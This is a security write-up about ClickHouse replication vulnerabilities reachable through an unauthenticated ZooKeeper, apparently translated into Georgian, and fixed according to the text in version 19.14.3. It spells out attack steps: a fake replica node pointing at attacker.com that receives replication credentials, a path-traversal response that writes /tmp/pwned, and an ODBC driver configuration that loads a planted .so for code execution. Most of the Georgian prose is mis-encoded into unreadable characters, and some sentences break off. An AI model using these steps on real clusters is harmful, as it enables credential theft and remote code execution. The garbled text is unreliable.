แแก แกแขแแขแแ แแแแแแแฎแ แแแก ClickHouse-แแก แ แแแแแแแชแแแก แแ แแขแแแแแจแ แซแแแแแ แกแแแชแแคแแแฃแ แแแฃแชแแแแแแแแ แแ แแกแแแ แแฉแแแแแแก, แแฃ แ แแแแ แจแแแซแแแแ แแแคแแ แแแแแแก แแแแแแกแฎแแแก แแแแแแแ แ.
ClickHouse แแ แแก แแแแแชแแแแ แแแแ แแแแ แแแชแฃแแแแแก แแแแแชแแแแแแก แจแแกแแแแฎแแ, แงแแแแแแ แฎแจแแ แแ แแงแแแแแก แแ แแแ แแแข แ แแแแแแแก. แแแแกแขแแ แแ แแแ แแ แ แแแแแแแชแแ ClickHouse-แจแ แแแแแฃแแแ แแแแแ
แแแแฃแแแกแฎแแแแ ZK แแแกแขแแแแชแแ แแ แกแแญแแ แแแแก แแแแแแขแแคแแแแชแแแก, แแแแขแแ แแแแกแแแแ ZK แกแแ แแแ แ, แ แแแแแแช แแแแแแงแแแแแ Kafka, Hadoop, ClickHouse-แแก แแแแคแแแฃแ แแชแแแกแแแแก, แกแแฏแแ แแ แแ แแก แฎแแแแแกแแฌแแแแแ.
แจแแขแแแแก แแแแแแแ แแก แจแแกแแแชแแ แแแแแ, ZooKeeper-แแก แแแกแขแแแแชแแแกแแก แงแแแแแแแแก แฃแแแ แแแแแแแคแแแฃแ แแ แแ แแแขแแ แแแแชแแ แแ แแแขแแ แแแแชแแ.
แ แ แแฅแแ แฃแแแ, แแ แกแแแแแก แ แแแแแแแแ แแฆแแแ แแแคแฃแซแแแแฃแแ แฏแแแแก แแแกแแ แแแแแแแชแแ, แแแแ แแ แฌแแ แแแแแแแแแ, แ แแ แแแแแแแกแฎแแแแก แจแแแซแแ แฌแแแแแแฎแแก แแ แแแฌแแ แแก ZooKeeper, แ แแแแแแช แแแแแแงแแแแแ ClickHouse-แแก แ แแแแแแแชแแแกแแแแก.
แ แแแแกแแช แแแแคแแแฃแ แแแฃแแแ แแแแกแขแแ แฃแ แ แแแแแจแ, ClickHouse แแฎแแ แก แฃแญแแ แก แแแแแฌแแแแแฃแ แจแแแแแฎแแแแก /clickhouse/task_queue/ddl
.
แแแแแแแแแ, แแฅแแแ แฅแแแแ แแแแแซแก /clickhouse/task_queue/ddl/query-0001
แจแแแแแ แกแแ:
version: 1
query: DROP TABLE xxx ON CLUSTER test;
hosts: ['host1:9000', 'host2:9000']
แแ แแแแก แจแแแแแ, แกแแขแแกแขแ แชแฎแ แแแ แฌแแแจแแแแ แแแแกแขแแ แฃแแ แกแแ แแแ แแแแก host1 แแ host2. DDL แแกแแแ แแฎแแ แก แฃแญแแ แก CREATE/ALTER/DROP แแแแฎแแแแแแแก แแแจแแแแแก.
แกแแจแแแแแ แแฆแแ แก? แแแแ แแ แกแแ แจแแฃแซแแแ แแแแแแแกแฎแแแแก แกแแ แแแ แแก แแแกแแแแ แแแแแก แแแฆแแแ?
CREATE TABLE foobar
(
`action_id` UInt32 DEFAULT toUInt32(0),
`status` String
)
ENGINE=ReplicatedMergeTree(
'/clickhouse/tables/01-01/foobar/', 'chXX')
ORDER BY action_id;
แจแแแฅแแแแแ แแแแแซแแแ แกแแแขแแแแก ะธ แแแขแแแแขแแก.
แจแแแแแ แกแ /clickhouse/tables/01/foobar/replicas/chXX/hosts:
host: chXX-address
port: 9009
tcp_port: 9000
database: default
table: foobar
scheme: http
แจแแกแแซแแแแแแแ แแฃ แแ แ แแ แแแแกแขแแ แแก แแแแแชแแแแแแก แแแแ แแแแแแแ? แแแแฎ, แแฃ แ แแแแแแแชแแแก แแแ แขแ (TCP/9009
) แกแแ แแแ แแ chXX-address
firewall แแ แแแแฎแฃแ แแแ แแ แ แแแแแแแชแแแกแแแแก แแแแแแขแแคแแแแชแแ แแ แแฅแแแแ แแแแคแแแฃแ แแ แแแฃแแ. แ แแแแ แแแฃแแ แแ แแแขแแ แแแแชแแ?
แแแแแแแกแฎแแแแก แจแแฃแซแแแ แจแแฅแแแแก แแฎแแแ แ แแแแแแ ZK-แจแ แจแแแแแแกแแก แฃแแ แแแแ แแแแแ แแแแ /clickhouse/tables/01-01/foobar/replicas/chXX
แแ แแแแจแแแแแแแแก แจแแชแแแ host
.
แจแแแแแ แกแ /clickhouse/tables/01โ01/foobar/replicas/attacker/host:
host: attacker.com
port: 9009
tcp_port: 9000
database: default
table: foobar
scheme: http
แจแแแแแ แแฅแแแ แฃแแแ แฃแแฎแ แแ แกแฎแแ แ แแแแแแแแก, แ แแ แแแแแแแกแฎแแแแแก แกแแ แแแ แแ แแ แแก แแแแแชแแแแ แแฎแแแ แแแแแ, แ แแแแแแช แแแ แฃแแแ แแแฆแแ - แแฅแแแแแ แแแแแซแ ZK-แจแ. /clickhouse/tables/01-01/foobar/log/log-00000000XX
(XX แแแแแขแแแฃแ แแ แแแแ แแ แแ แแชแฎแแแแ, แ แแแแแแช แฃแแแ แแงแแก แแฆแแแแขแแแ แแแแ แแ แแชแฎแแแแก แแแแแแแแก แแฃแ แแแแจแ):
format version: 4
create_time: 2019-07-31 09:37:42
source replica: attacker
block_id: all_7192349136365807998_13893666115934954449
get
all_0_0_2
แกแแแแช แฌแงแแ แ_แ แแแแแแ - แฌแแแ แแขแแแแ แจแแฅแแแแแ แแแแแแแกแฎแแแแแก แแกแแแก แกแแฎแแแ, block_id - แแแแแชแแแแ แแแแแแก แแแแแขแแคแแแแขแแ แ, แแแฆแแแ - แแ แซแแแแแ "แแแแฆแแ แแแแแ" (แแ
แจแแแแแแ, แแแแแแฃแแ แ แแแแแแ แแแแฎแฃแแแแก แแฎแแ แแแแแแแแก แแฃแ แแแแจแ แแ แแแแแก แกแแ แแแ แแ, แ แแแแแกแแช แแแแแขแ แแแแแก แแแแแแแกแฎแแแแ, แ แแแ แแแแฆแแก แแแแแชแแแแ แแแแแ (แ แแแแแแแชแแแก แแ แแขแแแแแ แแ แแแแแแ, แแฃแจแแแแก HTTP-แแก แแแแแ). แกแแ แแแ แ attacker.com
แแแแฆแแแก แแแแฎแแแแแแก:
POST /?endpoint=DataPartsExchange:/clickhouse/tables/01-01/default/foobar/replicas/chXX&part=all_0_0_2&compress=false HTTP/1.1
Host: attacker.com
Authorization: XXX
แกแแแแช XXX แแ แแก แแแแแแขแแคแแแแชแแแก แแแแแชแแแแแ แ แแแแแแแชแแแกแแแแก. แแแแแแ แ แจแแแแฎแแแแแจแ, แแก แจแแแซแแแแ แแงแแก แแแแแ แแจแ, แ แแแแแกแแช แแฅแแก แแแแแชแแแแ แแแแแแ แฌแแแแแ แซแแ แแแแแ ClickHouse แแ แแขแแแแแแกแ แแ HTTP แแ แแขแแแแแแก แแแจแแแแแแ. แ แแแแ แช แฎแแแแแ, แแแแแแกแฎแแแก แแแแแแแ แ แแ แแขแแแฃแแแ แแแแ แฎแแแแ, แ แแแแแ ZooKeeper, แ แแแแแแช แแแแแแงแแแแแ แ แแแแแแแชแแแกแแแแก, แแแ แฉแ แแแขแแ แแแแชแแแก แแแแคแแแฃแ แแชแแแก แแแ แแจแ.
แแแแแ แจแแแฎแแแแ แ แแแแแแแแแ แแแแแชแแแแ แแแแแแก แแแฆแแแแก แคแฃแแฅแชแแแก, แกแ แฃแแ แแแ แฌแแฃแแแแแ แฌแแ แแ, แ แแ แงแแแแ แ แแแแแแ แกแแแแแแแ แแแแขแ แแแแก แฅแแแจแแ แแ แแแ แจแแ แแก แแ แแก แแแแแ.
แ แแแแแแแชแแแก แแแแฃแจแแแแแแก แแแแ
แคแฃแแฅแชแแ แแแแฎแฃแแแแก แคแแแแแแแก แกแแแก, แจแแแแแ แแแ แกแแฎแแแแแก, แแแแแแก, แจแแแแแแกแก แแ แจแแแแแ แฌแแ แก แแแ แคแแแแฃแ แกแแกแขแแแแจแ. แฆแแ แก แชแแแแ แแฆแฌแแ แแ, แแฃ แ แแแแ แแแแฎแแแ แแแแแชแแแแแ แคแแแแฃแ แกแแกแขแแแแจแ.
แแ แแก แ แแแแแแแแ แฅแแแแแ แแฅแขแแ แแ /var/lib/clickhouse
(แแแแฃแแแกแฎแแแแ แจแแแแฎแแแก แแแ แแฅแขแแ แแ แแแแคแแแฃแ แแชแแแก แคแแแแแแแ):
แแ แแจแแแ - แฉแแฌแแ แแก แแแ แแฅแขแแ แแ
tmp โ แแแ แแฅแขแแ แแ แแ แแแแแแ แคแแแแแแแก แจแแกแแแแฎแแ;
แแแแฎแแแ แแแแแก_แคแแแแแแ โ แแแแฎแแแแแแจแ แคแแแแแแแ แแแแ แแชแแแแ แจแแแแแคแแ แแแแแ แแฎแแแแ แแ แแแ แแฅแขแแ แแแจแ (INTO OUTFILE แแ แกแฎแแ);
แแแขแแแแขแแก โ sql แคแแแแแแ แชแฎแ แแแแก แแฆแฌแแ แแแแแแ;
แฌแแแแกแฌแแ แแแแฃแจแแแแแฃแแ_แแแแคแแแฃแ แแชแแแแ - แแแแฃแจแแแแแฃแแ แฌแแ แแแแแฃแแ แแแแคแแแฃแ แแชแแแก แคแแแแแแ /etc/clickhouse-server
;
แแแแแชแแแแแ - แคแแฅแขแแแ แแแ แแแ แแฅแขแแ แแ แแแแแ แแแแแชแแแแแแ, แแ แจแแแแฎแแแแแจแ แแแแแแฃแแ แแแแแชแแแแ แแแแแกแแแแก แชแแแแ แฅแแแแแ แแฅแขแแ แแ แฃแแ แแแแ แแฅแแแแแ แแฅ (แแแแแแแแแ /var/lib/clickhouse/data/default
).
แแแแแแฃแแ แชแฎแ แแแแกแแแแก แแฅแแแแแ แฅแแแแแ แแฅแขแแ แแ แแแแแชแแแแ แแแแแก แแแ แแฅแขแแ แแแจแ. แแแแแแฃแแ แกแแแขแ แแ แแก แชแแแแ แคแแแแ, แ แแช แแแแแแแแแแฃแแแ
action_id.bin
action_id.mrk2
checksums.txt
columns.txt
count.txt
primary.idx
status.bin
status.mrk2
แ แแแแแแ แแแแแแแแแแก, แ แแ แแแแฆแแแก แแแแแ แกแแฎแแแแแแก แคแแแแแแก แแแแแชแแแแ แแแแแแก แแแแฃแจแแแแแแกแแก แแ แแ แแแแแ แแ แแ แแแแฌแแแแก แแแ.
แงแฃแ แแแฆแแแแแ แแแแแฎแแแแก แแแแแ แฃแแแ แกแแแแแ แคแฃแแฅแชแแแจแ file_name-แแก แกแแฎแแคแแแ แจแแแ แแแแแก แจแแกแแฎแแ WriteBufferFromFile
. แแแแฎ, แแก แกแแจแฃแแแแแแก แแซแแแแก แแแแแแแกแฎแแแแก แแแฌแแ แแก แแแแแแแแฃแ แ แจแแแแแ แกแ FS-แแก แแแแแกแแแแ แคแแแแแ แแแแฎแแแ แแแแแก แฃแคแแแแแแแ clickhouse
. แแแแกแแแแแก แแแแแแแกแฎแแแแแก แแแแ แแแแขแ แแแแ แแแแแ แ แแแแแแ แฃแแแ แแแแแ แฃแแแก แแแแฎแแแแแแ แจแแแแแแ แแแกแฃแฎแ (แฎแแแแก แฌแงแแแขแแแ แแแแแขแแแฃแแแ แแแแแแแก แแแกแแแแแแแแแแแ):
x01
x00x00x00x00x00x00x00x24
../../../../../../../../../tmp/pwned
x12x00x00x00x00x00x00x00
hellofromzookeeper
แแ แจแแแ แแแแแก แจแแแแแ ../../../../../../../../../tmp/pwned
แคแแแแ แแแแฌแแ แแแ /tmp/pwned แจแแแแแ แกแแ hellofromzookeeper.
แแ แกแแแแแก แ แแแแแแแแ แแแ แแแแขแ แคแแแแแก แฌแแ แแก แจแแกแแซแแแแแแแแก แแแกแขแแแชแแฃแ แ แแแแแก แจแแกแ แฃแแแแแ (RCE) แแแแแฅแชแแแแกแแแแก.
แแแ แ แแแฅแกแแแแแแแ RCE-แจแ
แซแแแ แแแ แกแแแแจแ, แแแ แแฅแขแแ แแ ClickHouse-แแก แแแ แแแแขแ แแแแ แแแแฎแแแแแ แแแแฎแแแ แแแแแก แฃแคแแแแแแแ clickhouse แแแแฃแแแกแฎแแแแ. แแแ แแแแขแ แแแแก แคแแแแแแ แแ แแก XML แคแแแแแแ, แ แแแแแแกแแช แกแแ แแแกแ แแแแฎแฃแแแแก แแแจแแแแแกแแก แแ แจแแแแแ แแแแฎแแแก แฅแแจแ /var/lib/clickhouse/preprocessed_configs
. แ แแแแกแแช แชแแแแแแแแแ แฎแแแแ, แแกแแแ แฎแแแแฎแแ แแแแแฎแแแ. แแฃ แแฅแแแ แแแฅแแ แฌแแแแแ /etc/clickhouse-server
แแแแแแแกแฎแแแแก แจแแฃแซแแแ แจแแฅแแแแก แกแแแฃแแแ แ root
.
ODBC RCE-แแแ
แแแแแขแแก แแแงแแแแแแกแแก แแฅแแแแแ แแแแฎแแแ แแแแแ clickhouse
, แแแแ แแ แแแกแ แแแแแแ แ แแแ แแฅแขแแ แแ แแ แแ แแก แจแแฅแแแแแ /nonexistent
. แแฃแแชแ, แแแ แ แแแฅแกแแแแแแแแก แแแแแงแแแแแแกแแก แแ แกแฎแแ แแแแแแแแแก แแแแ, แแแแแแแกแขแ แแขแแ แแแ แฅแแแแแ แแแ แแฅแขแแ แแแก /nonexistent
แแ แแแแชแแ แแแแฎแแแ แแแแแก clickhouse
แฌแแแแแ แแแกแแ แฉแแกแแฌแแ แแ (SSZB! แแแแฎแ. แแแแ แแแแแแ).
ClickHouse แแฎแแ แก แฃแญแแ แก odbc-bridge
, แแกแ แ แแ แแฆแแ แแ แแก แจแแกแแซแแแแแแ แแแแฎแแแแแแแ แแซแฆแแแแก แแแแแแแก แแแแแแแแ. แแแแ แแ แจแแฃแซแแแ แแฃ แแ แ แแแแแแแกแฎแแแแก แแแฌแแ แแก แกแแฎแแแก แแแ แแฅแขแแ แแแจแ แแแแแ แแฆแฌแแ แแแ แแแฃแชแแแแแแแก แแแแแงแแแแแแ?
แแแแแ แจแแแฅแแแแ แคแแแแ ~/.odbc.ini
แแกแแแ แจแแแแแ แกแแ:
[lalala]
Driver=/var/lib/clickhouse/user_files/test.so
แจแแแแแ แแแจแแแแแกแแก SELECT * FROM odbc('DSN=lalala', 'test', 'test');
แแแแแแแแแแ แแขแแแ แแแแ test.so
แแ แแแแฆแ RCE (แแแแแแแ
แแก แแ แกแฎแแ แแแฃแชแแแแแแ แแแคแแฅแกแแ แแ ClickHouse แแแ แกแแแจแ 19.14.3. แแแ แฃแแแ แแฅแแแแก ClickHouse-แแ แแ ZooKeepers-แแ!
แฌแงแแ แ: www.habr.com